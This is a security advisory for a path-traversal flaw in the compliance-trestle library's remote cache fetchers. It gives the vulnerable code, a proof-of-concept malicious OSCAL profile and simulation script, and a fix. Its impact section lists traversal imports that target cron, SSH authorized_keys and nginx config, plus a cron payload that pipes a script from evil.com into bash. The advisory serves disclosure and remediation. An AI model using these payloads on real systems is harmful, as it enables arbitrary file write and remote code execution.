CVE-2026-45725
Published:May 31, 2026
Updated:June 13, 2026
Summary The compliance-trestle library's remote fetching cache mechanism (HTTPSFetcher and SFTPFetcher) constructs the local cache file path from the URL path component without sanitizing path traversal sequences ("../"). When a remote OSCAL profile references a URL with traversal in its path, the HTTP response body is written to a location outside the intended cache directory, enabling arbitrary file write with attacker-controlled content to the filesystem. Attack chain: Malicious OSCAL profile → HTTPS fetch → cache path traversal → arbitrary file write → RCE (via cron, SSH keys, etc.) Affected Component Repository: https://github.com/IBM/compliance-trestle File: "trestle/core/remote/cache.py" (lines 259-266 for HTTPSFetcher, lines 328-333 for SFTPFetcher) Version: v4.0.2 (latest as of 2026-04-30) Vulnerable Code cache.py:259-266 — HTTPSFetcher cache path construction class HTTPSFetcher(FetcherBase): def init(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) # ... if u.hostname is None: raise TrestleError(f'Cache request for {self._uri} requires hostname') https_cached_dir = self._trestle_cache_path / u.hostname # ❌ path_parent preserves ../ sequences from URL path_parent = pathlib.Path(u.path[re.search('[^/\\]', u.path).span()[0] :]).parent https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) # ❌ Creates dirs outside cache self._cached_object_path = https_cached_dir / pathlib.Path(pathlib.Path(u.path).name) cache.py:285-295 — Content written to traversed path def _do_fetch(self) -> None: # ... response = requests.get(self._url, auth=auth, verify=verify, timeout=30) if response.status_code == 200: result = response.text # ❌ Attacker-controlled content self._cached_object_path.write_text(result) # ❌ Written to arbitrary path cache.py:328-333 — SFTPFetcher (identical pattern) class SFTPFetcher(FetcherBase): def init(self, ...): # Identical path construction — same vulnerability sftp_cached_dir = self._trestle_cache_path / u.hostname path_parent = pathlib.Path(u.path[re.search('[^/\\]', u.path).span()[0] :]).parent sftp_cached_dir = sftp_cached_dir / path_parent sftp_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = sftp_cached_dir / pathlib.Path(pathlib.Path(u.path).name) Root Cause: 1. "urlparse("https://evil.com/../../../tmp/pwned.json").path" = "/../../../tmp/pwned.json" — preserves "../" 2. "pathlib.Path(u.path).parent" preserves traversal sequences 3. "cache_dir / hostname / "../../../../../../tmp"" resolves outside cache 4. "mkdir(parents=True, exist_ok=True)" creates intermediate directories 5. "write_text(response.text)" writes attacker-controlled content to traversed path 6. No "is_relative_to()" boundary check on the resolved path Steps to Reproduce Prerequisites pip install compliance-trestle==4.0.2 PoC: Malicious OSCAL Profile malicious_profile.yaml — arbitrary file write via cache traversal profile: uuid: "550e8400-e29b-41d4-a716-446655440000" metadata: title: "Malicious Profile" version: "1.0" last-modified: "2024-01-01T00:00:00+00:00" oscal-version: "1.0.4" imports: - href: "https://evil.com/../../../../../../../tmp/trestle_pwned.json" PoC: Cache Path Traversal Simulation #!/usr/bin/env python3 """PoC: Cache path traversal → arbitrary file write""" import os, re, tempfile, shutil from pathlib import Path from urllib.parse import urlparse Simulate trestle cache behavior (cache.py:259-266) trestle_root = Path(tempfile.mkdtemp(prefix="trestle_poc_")) cache_dir = trestle_root / ".trestle" / ".cache" cache_dir.mkdir(parents=True, exist_ok=True) evil_url = "https://evil.com/../../../../../../../tmp/trestle_pwned.json" u = urlparse(evil_url) Exact trestle code path cached_dir = cache_dir / u.hostname m = re.search(r'[^/\\]', u.path) path_parent = Path(u.path[m.span()[0]:]).parent cached_dir = cached_dir / path_parent cached_dir.mkdir(parents=True, exist_ok=True) cached_file = cached_dir / Path(Path(u.path).name) print(f"Cache dir: {cache_dir}") print(f"Resolved write target: {cached_file.resolve()}") Output: /tmp/trestle_pwned.json ← OUTSIDE cache directory! Write attacker content attacker_payload = '*/5 * * * * root /bin/bash -c "id > /tmp/rce_proof"' cached_file.write_text(attacker_payload) print(f"Written: {cached_file.resolve().read_text()}") Cleanup os.remove(str(cached_file.resolve())) shutil.rmtree(str(trestle_root)) Expected: Write confined to ".trestle/.cache/" directory Actual: File written to "/tmp/trestle_pwned.json" (arbitrary filesystem location) Remediation Fix for HTTPSFetcher (cache.py:259-266): class HTTPSFetcher(FetcherBase): def init(self, trestle_root: pathlib.Path, uri: str) -> None: # ... u = parse.urlparse(self._uri) https_cached_dir = self._trestle_cache_path / u.hostname # ✅ Sanitize path: remove traversal sequences safe_path = pathlib.PurePosixPath(u.path).parts safe_path = [p for p in safe_path if p != '..' and p != '/'] path_parent = pathlib.Path(*safe_path[:-1]) if len(safe_path) > 1 else pathlib.Path('.') https_cached_dir = https_cached_dir / path_parent https_cached_dir.mkdir(parents=True, exist_ok=True) self._cached_object_path = https_cached_dir / safe_path[-1] # ✅ Boundary check if not self._cached_object_path.resolve().is_relative_to(self._trestle_cache_path.resolve()): raise TrestleError( f"Cache path traversal blocked: URL '{uri}' resolves to " f"'{self._cached_object_path.resolve()}' outside cache directory" ) Same fix required for SFTPFetcher at lines 328-333. References - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-73: https://cwe.mitre.org/data/definitions/73.html - compliance-trestle: https://github.com/IBM/compliance-trestle Impact 1. Cron Job Injection → Remote Code Execution Profile that writes a cron job imports: - href: "https://evil.com/../../../../../../../etc/cron.d/backdoor" Attacker's server responds with: * * * * * root /bin/bash -c 'curl https://evil.com/shell.sh | bash' 2. SSH Authorized Keys Injection imports: - href: "https://evil.com/../../../../../../../root/.ssh/authorized_keys" Attacker's server responds with their SSH public key. 3. Config File Overwrite imports: - href: "https://evil.com/../../../../../../../etc/nginx/conf.d/evil.conf" 4. Python Path Hijacking Write malicious ".py" file to a location on "sys.path" for code execution on next import.
Affected Packages
https://github.com/oscal-compass/compliance-trestle.git (GITHUB):
Affected version(s) >=v0.0.2 <v3.12.2Fix Suggestion:
Update to version v3.12.2https://github.com/oscal-compass/compliance-trestle.git (GITHUB):
Affected version(s) >=v4.0.0 <v4.0.3Fix Suggestion:
Update to version v4.0.3compliance-trestle (PYTHON):
Affected version(s) >=0.0.2 <3.12.2Fix Suggestion:
Update to version 3.12.2compliance-trestle (PYTHON):
Affected version(s) >=4.0.0 <4.0.3Fix Suggestion:
Update to version 4.0.3Related Resources (4)
Do you need more information?
Contact UsCVSS v4
Base Score:
7.1
Attack Vector
NETWORK
Attack Complexity
LOW
Attack Requirements
NONE
Privileges Required
LOW
User Interaction
NONE
Vulnerable System Confidentiality
NONE
Vulnerable System Integrity
HIGH
Vulnerable System Availability
NONE
Subsequent System Confidentiality
NONE
Subsequent System Integrity
NONE
Subsequent System Availability
NONE
CVSS v3
Base Score:
6.5
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality
NONE
Integrity
HIGH
Availability
NONE
Weakness Type (CWE)
External Control of File Name or Path
EPSS
Base Score:
0.05